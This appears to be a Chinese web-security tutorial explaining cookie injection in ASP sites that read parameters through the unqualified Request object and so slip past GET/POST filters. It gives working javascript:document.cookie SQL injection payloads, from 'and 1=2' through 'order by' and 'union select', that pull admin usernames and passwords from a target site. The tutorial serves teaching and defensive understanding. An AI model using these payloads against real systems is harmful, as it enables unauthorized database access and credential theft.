许多时候,网站程序里对显而易见的注入点已经做了过滤,比如下面这个网站,不论你用单引号,还是 and 1=1 ,and 1=2 或者是其它的 SQL 语句均会被过滤:
那这是否说明该网站就没有漏洞了呢?答案是否定的。
下面讨论一下这个漏洞的来源与原理:
我们在提交网址时,一般有两个方法,即 GET 和 POST 。在 ASP 里,获得 GET 方法提交的网址后的参数,会用 request 对象的 querystrin() 方法,即:request.querystring("变量名"); 。如果只是写成 request.querystring ,那么获得的是网址问号后面的所有内容,比如:
[Plain Text] 纯文本查看 复制代码 <html>
<body>
<a href="/example/aspe/demo_aspe_simplequerystring.asp?color=green">Example</a>
<%
Response.Write(Request.QueryString)
%>
</body>
</html>
那么当你点击 Example 这个链接时,输出的是 "color=green" 。
如果写成 Request.QueryString("color“) 的话,那么输出的就只是 green 了。
当表单用 POST 方法提交时,我们一般会使用 Form 方法,即:Request.Form("变量名") 。
第三,使用 ServerVariables 方法可以获得服务器变量信息,比如访问者的浏览器类型,IP 地址等。
第四,就是这次漏洞产生的关键,cookies ,即:Request.cookies("cookies_key"); 。
本来,如果是什么情况就用什么方法,可能还不会带来什么问题,但是代码作者可能会偷懒,或者是为了简化代码,直接不指明具体的方法,而是直接就写成 Requst("id") 这种形式。在这种形式中,Request 会依次查询 GET 中的数据,然后是 POST 中的数据,再是 Cookies 中的数据。
在一般的防注入系统中,都会对 GET 和 POST 数据进行特殊字符的检查,如果像上述测试提交非法字符时,系统就会禁止数据的提交。但代码作者却容易遗漏 Cookies 数据的检测,也许也是作者对 Request 对象的工作流程不是很清楚。
那下面我们来测试一下上面网址中是否存在 cookies 注入的问题。
我们知道,提交正常网址时会出现正常的页面,如果我们将问号及其后面的参数都去掉后再提交,于是发现数据出错的提示了:
造成这个现象的原因是,我们没有提交参数!
下面使用一句 javascript 的代码来测试一下:
[Plain Text] 纯文本查看 复制代码 javascript:alert(document.cookie="id="+escape("17"));
那么会看到提示:
再次打开上述没有提交任何参数的网址:
这时候我们发现,页面正常了!由此可推断出,服务器端确实是只用 Request("id") 这样的方法来获得参数的。
上面的 javascript 代码种的 document.cookie 是用来设置 cookie 的一种方法,它修改的是本地的 cookies 信息。需要说明的是,cookies 是存储在本地的,javascript 也是在本地即客户端浏览器运行的。我们修改了 cookies 后,刷新不带任何参数的网址,服务器端会因为读不到 GET 或 POST 的数据,而默认去读取 cookies 中的内容,这样就导致了问题的产生。
此外,escape() 函数的作用是对字符串进行编码,但它不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有的字符都会被转义序列替换。 |
那么剩下来的步骤就是和往常的注入测试一样,继续进行测试。
在地址栏里输入:
[Plain Text] 纯文本查看 复制代码 javascript:alert(document.cookie="id="+escape("17 and 1=2"));
然后再刷新一下,页面也像上面返回数据库出错的信息,这说明可以注入了。
继续利用 order by 来查询字段数:
[Plain Text] 纯文本查看 复制代码 javascript:alert(document.cookie="id="+escape("17 order by 12"));
order by 12 时出错,而 order by 11 时正确,说明当前表内有 11 个字段。
猜解表:
[Plain Text] 纯文本查看 复制代码 javascript:alert(document.cookie="id="+escape("17 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"));
可以看到确实存在 admin 这个表:
继续猜解用户名和密码,并利用上面的位置进行显示:
[Plain Text] 纯文本查看 复制代码 javascript:alert(document.cookie="id="+escape("17 union select 1,username,password,4,5,6,7,8,9,10,11 from admin"));
管理员账号和密码都出来了:
测试到此结束。
上述用到的 SQL 注入语句详细介绍可参考:
《猜解字段数目》
《使用 Union Select 暴库,暴表等等原理详解》 |